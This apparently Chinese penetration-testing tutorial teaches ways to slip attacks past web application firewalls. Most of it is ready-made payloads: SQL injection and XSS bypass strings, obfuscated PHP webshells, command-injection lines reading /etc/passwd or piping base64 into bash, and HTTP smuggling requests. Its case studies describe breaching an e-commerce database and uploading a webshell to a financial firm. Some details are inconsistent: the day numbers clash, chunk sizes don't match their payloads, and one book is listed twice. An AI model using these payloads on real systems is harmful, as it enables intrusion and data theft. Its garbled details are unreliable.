Day-189-渗透测试中的 WAF 绕过技术

# Day 249: 渗透测试中的 WAF 绕过技术

> 渗透测试系列第 49 篇 | 预计阅读时间：45 分钟 | 难度：★★★★★

---

## 清单 目录
1. [WAF 概述](#waf-概述)
2. [WAF 识别技术](#waf-识别技术)
3. [WAF 工作原理](#waf-工作原理)
4. [SQL 注入绕过](#sql-注入绕过)
5. [XSS 绕过](#xss-绕过)
6. [文件上传绕过](#文件上传绕过)
7. [命令注入绕过](#命令注入绕过)
8. [编码绕过技术](#编码绕过技术)
9. [分块与混淆技术](#分块与混淆技术)
10. [协议层绕过](#协议层绕过)
11. [WAF 指纹与规则分析](#waf-指纹与规则分析)
12. [实战案例](#实战案例)
13. [总结与思考](#总结与思考)
14. [参考资料](#参考资料)

---

## WAF 概述

### 什么是 WAF

Web 应用防火墙 (Web Application Firewall, WAF) 是一种专门用于保护 Web 应用程序的安全设备或服务，通过监控、过滤和阻止 HTTP/HTTPS 流量中的恶意请求来保护 Web 应用。

```
┌─────────────────────────────────────────────────────────────┐
│                    WAF 防护体系                              │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  用户请求 → WAF → Web 应用                                    │
│       ↓        ↓        ↓                                   │
│   正常请求   过滤     处理                                   │
│   恶意请求   拦截     安全                                   │
│                                                             │
│  WAF 部署模式：                                              │
│  ├── 云 WAF                                                 │
│  │   ├── Cloudflare                                         │
│  │   ├── AWS WAF                                            │
│  │   └── 阿里云 WAF                                         │
│  ├── 硬件 WAF                                               │
│  │   ├── F5 BIG-IP                                          │
│  │   ├── Imperva                                            │
│  │   └── 绿盟 WAF                                           │
│  └── 软件 WAF                                               │
│      ├── ModSecurity                                        │
│      ├── 安全狗                                             │
│      └── 云锁                                               │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### WAF 检测机制

```
WAF 检测机制:
├── 特征匹配
│   ├── 正则表达式
│   ├── 关键字匹配
│   └── 已知攻击模式
├── 异常检测
│   ├── 请求长度异常
│   ├── 参数数量异常
│   └── 请求频率异常
├── 行为分析
│   ├── 用户行为分析
│   ├── 会话分析
│   └── 流量分析
└── 信誉评分
    ├── IP 信誉
    ├── 用户信誉
    └── 地理位置
```

### WAF 绕过重要性

```
为什么需要 WAF 绕过:
├── 真实环境普遍
│   └── 80%+ 企业使用 WAF
├── 授权测试需要
│   └── 评估真实防护能力
├── 漏洞验证需要
│   └── 证明漏洞可利用
└── 红队演练需要
    └── 模拟真实攻击
```

---

## WAF 识别技术

### WAF 识别方法

```
WAF 识别方法:
├── 响应分析
│   ├── 响应头
│   ├── 响应码
│   └── 响应内容
├── 行为分析
│   ├── 拦截页面
│   ├── 拦截方式
│   └── 拦截时机
├── 主动探测
│   ├── 发送恶意请求
│   └── 观察响应
└── 工具识别
    └── WAF 识别工具
```

### 常见 WAF 特征

```bash
# 常见 WAF 响应头特征

# Cloudflare
cf-ray
cf-cache-status
server: cloudflare

# AWS WAF
x-amzn-RequestID
x-amz-cf-id

# 阿里云 WAF
x-ali-waf
x-cache

# 安全狗
safedog
safedog-flow-id

# 云锁
yunlock
```

### WAF 识别工具

```bash
# 使用 WAFW00F 识别 WAF
wafw00f https://target.com

# 使用 WhatWeb 识别
whatweb https://target.com

# 使用 Nmap 识别
nmap --script http-waf-detect https://target.com
nmap --script http-waf-fingerprint https://target.com

# 手动识别
# 发送正常请求
curl -I https://target.com

# 发送恶意请求
curl https://target.com?id=1' OR '1'='1

# 比较响应差异
```

### WAF 拦截页面特征

```
WAF 拦截页面特征:
├── 状态码
│   ├── 403 Forbidden
│   ├── 405 Method Not Allowed
│   ├── 418 I'm a teapot
│   └── 503 Service Unavailable
├── 页面内容
│   ├── "Access Denied"
│   ├── "Request Blocked"
│   ├── "Security Alert"
│   └── 自定义拦截页面
└── 响应时间
    └── 立即拦截 (0ms)
```

---

## WAF 工作原理

### WAF 处理流程

```
WAF 处理流程:
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  1. 请求接收                                                │
│       ↓                                                      │
│  2. 预处理 (解码/标准化)                                     │
│       ↓                                                      │
│  3. 规则匹配 (特征/异常)                                     │
│       ↓                                                      │
│  4. 决策 (允许/拦截/挑战)                                    │
│       ↓                                                      │
│  5. 响应/拦截                                                │
│       ↓                                                      │
│  6. 日志记录                                                 │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### WAF 规则类型

```
WAF 规则类型:
├── 签名规则
│   └── 基于已知攻击特征
├── 启发式规则
│   └── 基于行为模式
├── 白名单规则
│   └── 信任 IP/用户
├── 黑名单规则
│   └── 恶意 IP/用户
└── 速率限制规则
    └── 频率控制
```

### WAF 检测点

```
WAF 检测点:
├── URL 检测
│   ├── 路径
│   ├── 参数名
│   └── 参数值
├── Header 检测
│   ├── User-Agent
│   ├── Cookie
│   ├── Referer
│   └── 自定义 Header
├── Body 检测
│   ├── POST 数据
│   ├── 文件上传
│   └── JSON/XML
└── 响应检测
    ├── 敏感信息
    └── 错误信息
```

---

## SQL 注入绕过

### 基础绕过技术

```
基础绕过技术:
├── 大小写变换
│   └── SELECT → SeLeCt
├── 双写绕过
│   └── SELECT → SSELELECTCT
├── 内联注释
│   └── SELECT → /*!50000SELECT*/
├── URL 编码
│   └── ' → %27
└──  Unicode 编码
    └── ' → \u0027
```

```sql
-- 大小写变换
SELECT * FROM users WHERE id=1
-- 绕过：
sElEcT * FrOm users WhErE id=1

-- 双写绕过
SELECT * FROM users
-- 绕过：
SSELELECTCT * FROM users

-- 内联注释 (MySQL)
SELECT * FROM users
-- 绕过：
/*!50000SELECT*/ * FROM users

-- 组合使用
sEleCt/**//*!12345*/'from'/**/users
```

### 高级绕过技术

```
高级绕过技术:
├── 等价函数
│   ├── SUBSTRING → MID/SUBSTR
│   ├── ASCII → ORD
│   └── LENGTH → CHAR_LENGTH
├── 编码绕过
│   ├── Hex 编码
│   ├── Base64 编码
│   └── 二进制编码
├── 时间函数
│   ├── SLEEP → BENCHMARK
│   └── WAITFOR → DELAY
└── 错误注入
    └── 使用不同错误函数
```

```sql
-- 等价函数绕过
-- 原 payload:
SELECT SUBSTRING(password,1,1) FROM users

-- 绕过:
SELECT MID(password,1,1) FROM users
SELECT SUBSTR(password,1,1) FROM users

-- Hex 编码绕过
-- 原 payload:
SELECT * FROM users WHERE name='admin'

-- 绕过:
SELECT * FROM users WHERE name=0x61646d696e

-- 时间盲注绕过
-- 原 payload:
SELECT IF(1=1,SLEEP(5),0)

-- 绕过:
SELECT IF(1=1,BENCHMARK(10000000,SHA1('test')),0)

-- 错误注入绕过
-- 原 payload:
SELECT EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))

-- 绕过:
SELECT UPDATEXML(1,CONCAT(0x7e,(SELECT version())),1)
```

### 分块传输绕过

```
分块传输绕过:
├── HTTP 分块传输
│   └── Transfer-Encoding: chunked
├── 参数分块
│   └── 分割恶意 payload
└── 请求分块
    └── 多个请求组合
```

```http
# HTTP 分块传输示例
POST /login HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

6
id=1'
6
OR '1'
5
'='1
0

# 参数分块
# 请求 1:
POST /search HTTP/1.1
...
q=SELECT

# 请求 2:
POST /search HTTP/1.1
...
q=* FROM

# 请求 3:
POST /search HTTP/1.1
...
q=users
```

---

## XSS 绕过

### 标签绕过

```
标签绕过技术:
├── 大小写变换
│   └── <script> → <ScRiPt>
├── 双写绕过
│   └── <script> → <scr<script>ipt>
├── 编码绕过
│   ├── URL 编码
│   ├── HTML 实体
│   └── Unicode 编码
└── 替代标签
    ├── <img onerror>
    ├── <svg onload>
    └── <body onload>
```

```html

<ScRiPt>alert(1)</ScRiPt>

<scr<script>ipt>alert(1)</scr<script>ipt>

%3Cscript%3Ealert(1)%3C/script%3E

&lt;script&gt;alert(1)&lt;/script&gt;

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<div onmouseover=alert(1)>test</div>
```

### 事件处理器绕过

```
事件处理器绕过:
├── 常见事件
│   ├── onclick
│   ├── onerror
│   ├── onload
│   └── onfocus
├── 罕见事件
│   ├── onscroll
│   ├── onresize
│   └── onanimationend
└── 编码事件
    └── 混合编码
```

```html

<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>

<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>

<img src=x on&#101;rror=alert(1)>
<img src=x on&#x65;rror=alert(1)>

<a href="javascript:alert(1)">click</a>
<a href="data:text/html,<script>alert(1)</script>">click</a>
```

### 上下文绕过

```
上下文绕过:
├── HTML 上下文
│   └── 直接标签
├── 属性上下文
│   └── 闭合属性
├── JavaScript 上下文
│   └── 闭合字符串
├── URL 上下文
│   └── javascript:协议
└── CSS 上下文
    └── expression()
```

```html

输入：name
Payload: <script>alert(1)</script>

输入：value
Payload: " onclick="alert(1)

输入：callback
Payload: ';alert(1);//

输入：redirect
Payload: javascript:alert(1)

输入：style
Payload: background:url(javascript:alert(1))
```

---

## 文件上传绕过

### 扩展名绕过

```
扩展名绕过:
├── 大小写变换
│   └── .php → .pHp
├── 双扩展名
│   └── .php → .php.jpg
├── 特殊扩展名
│   ├── .phtml
│   ├── .php5
│   └── .phar
└── 点空格点
    └── .php → . .php
```

```
# 大小写变换 (Windows)
shell.pHp
shell.PHP
shell.Php

# 双扩展名
shell.php.jpg
shell.php.png
shell.php.gif

# 特殊扩展名
shell.phtml
shell.php5
shell.php7
shell.pht
shell.phar
shell.phps

# 点空格点 (IIS)
shell. .php
shell.php. .
```

### MIME 类型绕过

```
MIME 类型绕过:
├── 伪造 Content-Type
│   └── image/jpeg
├── 魔术字节伪造
│   └── 添加文件头
└── 混合内容
    └── 图片 + PHP 代码
```

```
# 伪造 Content-Type
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----

------
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------

# 添加魔术字节
GIF89a
<?php system($_GET['cmd']); ?>

# 图片马
# 正常图片 + PHP 代码
# 使用 exiftool 添加元数据
```

### 内容检测绕过

```
内容检测绕过:
├── 代码混淆
│   ├── Base64 编码
│   ├── 字符串拼接
│   └── 函数替换
├── 条件执行
│   └── 特定条件触发
└── 延迟执行
    └── 定时任务
```

```php
<?php
// Base64 编码
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));

// 字符串拼接
$func = 'sys'.'tem';
$func($_GET['cmd']);

// 函数替换
call_user_func('system', $_GET['cmd']);

// 条件执行
if ($_GET['key'] === 'secret') {
    system($_GET['cmd']);
}

// 延迟执行 (图片马)
// 正常图片内容 + PHP 代码
// 通过特定 URL 参数触发
?>
```

---

## 命令注入绕过

### 基础绕过

```
基础绕过技术:
├── 命令分隔符
│   ├── ;
│   ├── |
│   ├── ||
│   ├── &
│   └── &&
├── 换行符
│   ├── %0a
│   └── %0d
└── 空格替代
    ├── ${IFS}
    └── {command,argument}
```

```bash
# 命令分隔符
; ls
| ls
|| ls
& ls
&& ls

# 换行符
%0als
%0d%0als

# 空格替代
cat${IFS}/etc/passwd
{cat,/etc/passwd}

# Tab 替代
cat%09/etc/passwd
```

### 高级绕过

```
高级绕过技术:
├── 编码绕过
│   ├── Base64
│   ├── Hex
│   └── Unicode
├── 命令替换
│   ├── $(command)
│   └── `command`
└── 路径混淆
    ├── ./command
    └── /bin//bash
```

```bash
# Base64 编码
echo "bHMgLWxh" | base64 -d | bash

# Hex 编码
printf "\x6c\x73" | bash

# 命令替换
$(echo -e "ls\x20-la")
`echo -e "ls\x20-la"`

# 路径混淆
/bin//bash -c "ls"
./ls -la
```

---

## 编码绕过技术

### 多层编码

```
多层编码:
├── URL 编码
│   └── ' → %27
├── 双重 URL 编码
│   └── ' → %2527
├── Unicode 编码
│   └── ' → \u0027
└── HTML 实体
    └── ' → &#39;
```

```
# 单层 URL 编码
' → %27
< → %3C
> → %3E

# 双重 URL 编码
' → %2527
< → %253C
> → %253E

# Unicode 编码
' → \u0027
< → \u003C
> → \u003E

# HTML 实体
' → &#39;
< → &lt;
> → &gt;

# 组合编码
%2527%253Cscript%253E
```

### 特殊编码

```
特殊编码:
├── Base64
├── Hex
├── Octal
└── Binary
```

```
# Base64
SELECT → U0VMRUNU

# Hex
SELECT → 0x53454C454354

# Octal
SELECT → \123\145\154\145\143\164

# 混合使用
# WAF 可能只检测某一种编码
# 组合使用提高绕过率
```

---

## 分块与混淆技术

### HTTP 分块

```
HTTP 分块技术:
├── Transfer-Encoding
│   └── chunked 编码
├── Content-Length 混淆
│   └── 多个 Content-Length
└── 请求拆分
    └── 多个请求组合
```

```http
# Transfer-Encoding: chunked
POST /api HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

7
id=1'
7
OR '1'
5
'='1
0

# 多个 Content-Length
Content-Length: 0
Content-Length: 100

# 请求拆分
# 第一个请求
POST /api HTTP/1.1
...
id=1

# 第二个请求 (同一连接)
' OR '1'='1
```

### 参数污染

```
参数污染 (HPP):
├── 重复参数
│   └── id=1&id=2
├── 数组参数
│   └── id[]=1&id[]=2
└── JSON 数组
    └── {"id":[1,2]}
```

```
# 重复参数
GET /search?id=1&id=2&id=3

# 数组参数
GET /search?id[]=1&id[]=2

# JSON 数组
POST /api
{"id": [1, 2, 3]}

# WAF 可能只检查第一个或最后一个
# 后端可能全部处理
```

---

## 协议层绕过

### HTTP 版本差异

```
HTTP 版本差异:
├── HTTP/1.0
├── HTTP/1.1
├── HTTP/2
└── HTTP/3
```

```
# 不同 HTTP 版本解析差异
# 某些 WAF 对 HTTP/2 支持不完善

# HTTP/1.1
GET / HTTP/1.1

# HTTP/2
# 二进制协议，头部压缩
# 可能绕过基于正则的 WAF
```

### 请求方法绕过

```
请求方法绕过:
├── 非常规方法
│   ├── PATCH
│   ├── OPTIONS
│   └── TRACE
├── 方法覆盖
│   └── X-HTTP-Method-Override
└── Content-Type 混淆
    └── application/json vs application/x-www-form-urlencoded
```

```
# 使用非常规方法
PATCH /api HTTP/1.1
...
{"id": "1' OR '1'='1"}

# 方法覆盖
POST /api HTTP/1.1
X-HTTP-Method-Override: GET
...

# Content-Type 混淆
# WAF 可能只检查特定 Content-Type
Content-Type: application/json
# 实际发送表单数据
```

### IPv6 绕过

```
IPv6 绕过:
├── IPv6 格式
│   └── ::1
├── IPv4 映射
│   └── ::ffff:127.0.0.1
└── 域名混淆
    └── localhost
```

```
# IPv6 本地地址
::1
0:0:0:0:0:0:0:1

# IPv4 映射
::ffff:127.0.0.1

# WAF 可能只检查 IPv4
# 忽略 IPv6 请求
```

---

## WAF 指纹与规则分析

### WAF 规则分析

```
规则分析方法:
├── 二分法测试
│   └── 逐步缩小范围
├── 特征测试
│   └── 测试特定字符
└── 行为分析
    └── 观察拦截行为
```

```
# 二分法测试
# 1. 发送完整 payload
SELECT * FROM users WHERE id=1' OR '1'='1

# 2. 逐步缩短
SELECT * FROM users
SELECT * FROM
SELECT *

# 3. 找到触发点
# 确定哪个关键字被拦截
```

### 规则绕过策略

```
规则绕过策略:
├── 规则盲点
│   └── WAF 未覆盖的场景
├── 规则冲突
│   └── 多条规则矛盾
└── 性能优化
    └── 复杂 payload 消耗资源
```

```
# 规则盲点
# WAF 可能只检查特定位置
# 尝试不同位置:
# - URL
# - Header
# - Cookie
# - Body

# 规则冲突
# 规则 1: 拦截 SELECT
# 规则 2: 允许白名单 IP
# 使用白名单 IP 发送 SELECT

# 性能优化
# 发送大量正常请求 + 少量恶意请求
# WAF 可能跳过深度检查
```

---

## 实战案例

### 案例一：Cloudflare WAF 绕过

#### 场景描述

```
目标：某电商平台
WAF: Cloudflare
漏洞：SQL 注入
时间：2 天
```

#### 绕过过程

```
Day 1: WAF 分析与规则测试
┌─────────────────────────────────────────────────────────┐
│ - WAF 识别                                              │
│   - 确认使用 Cloudflare                                 │
│   - 识别防护等级                                        │
│                                                         │
│ - 规则测试                                              │
│   - 测试关键字拦截                                      │
│   - 测试编码绕过                                        │
│   - 测试分块传输                                        │
│                                                         │
│ - 发现盲点                                              │
│   - JSON Body 检查较弱                                   │
│   - HTTP/2 支持不完善                                    │
└─────────────────────────────────────────────────────────┘

Day 2: Payload 构造与验证
┌─────────────────────────────────────────────────────────┐
│ - Payload 构造                                           │
│   - 使用 JSON 格式                                        │
│   - 使用 Unicode 编码                                     │
│   - 使用 HTTP/2 协议                                      │
│                                                         │
│ - Payload 示例                                          │
│   {                                                      │
│     "id": "1\\u0027 OR \\u00271\\u0027=\\u00271"       │
│   }                                                      │
│                                                         │
│ - 验证利用                                              │
│   - 成功绕过 WAF                                        │
│   - 获取数据库信息                                      │
│   - 提交报告                                            │
└─────────────────────────────────────────────────────────┘
```

### 案例二：企业 WAF 绕过

#### 场景描述

```
目标：某金融企业
WAF: 硬件 WAF + ModSecurity
漏洞：文件上传
时间：3 天
```

#### 测试结果

```
发现:
├── WAF 规则
│   ├── 拦截 .php 扩展名
│   ├── 检查 Content-Type
│   └── 检查文件内容
├── 绕过方法
│   ├── 使用 .phtml 扩展名
│   ├── 伪造 Content-Type
│   └── 图片马
└── 利用结果
    └── 成功上传 WebShell

建议:
├── 更新 WAF 规则
├── 加强文件上传验证
├── 实施文件完整性监控
└── 定期 WAF 测试
```

---

## 总结与思考

### 核心要点回顾

1. **WAF 绕过是必要技能**
   - 80%+ 企业使用 WAF
   - 授权测试需要
   - 漏洞验证需要

2. **多层编码是基础**
   - URL 编码
   - Unicode 编码
   - 组合编码

3. **协议层绕过有效**
   - HTTP 版本差异
   - 分块传输
   - IPv6 绕过

4. **规则分析关键**
   - 二分法测试
   - 特征测试
   - 行为分析

5. **合法合规使用**
   - 仅授权测试
   - 遵守法律法规
   - 道德使用

### 实战建议

1. **对测试人员**:
   - 学习 WAF 原理
   - 掌握绕过技术
   - 合法使用
   - 持续学习

2. **对防御人员**:
   - 了解攻击技术
   - 更新 WAF 规则
   - 多层防御
   - 定期测试

3. **对组织**:
   - 部署 WAF
   - 定期更新规则
   - 实施多层防御
   - 定期渗透测试

---

## 参考资料

### 学习资源

- **OWASP WAF Testing**
  - https://owasp.org/www-project-web-security-testing-guide/

- **WAF Bypass Techniques**
  - https://github.com/karjalu/waf-bypass

- **PayloadsAllTheThings**
  - https://github.com/swisskyrepo/PayloadsAllTheThings

### 工具资源

| 工具 | 用途 | 链接 |
|------|------|------|
| **WAFW00F** | WAF 识别 | https://github.com/EnableSecurity/wafw00f |
| **SQLMap** | SQL 注入 | https://sqlmap.org/ |
| **XSStrike** | XSS 测试 | https://github.com/s0md3v/XSStrike |
| **Commix** | 命令注入 | https://github.com/commixproject/commix |
| **Burp Suite** | 综合测试 | https://portswigger.net/burp |

### 书籍推荐

1. **《Web Application Hacker's Handbook》**
   - Web 安全权威指南

2. **《Real-World Bug Hunting》**
   - 作者：Peter Yaworski
   - 实战漏洞挖掘

3. **《The Web Application Hacker's Handbook》**
   - WAF 绕过技术

---

*365 天信息安全技术系列 | Day 249 | 渗透测试补充系列 | WAF 绕过技术*
*创建时间：2026-04-12 | 作者：安全专家 · 严谨专业版*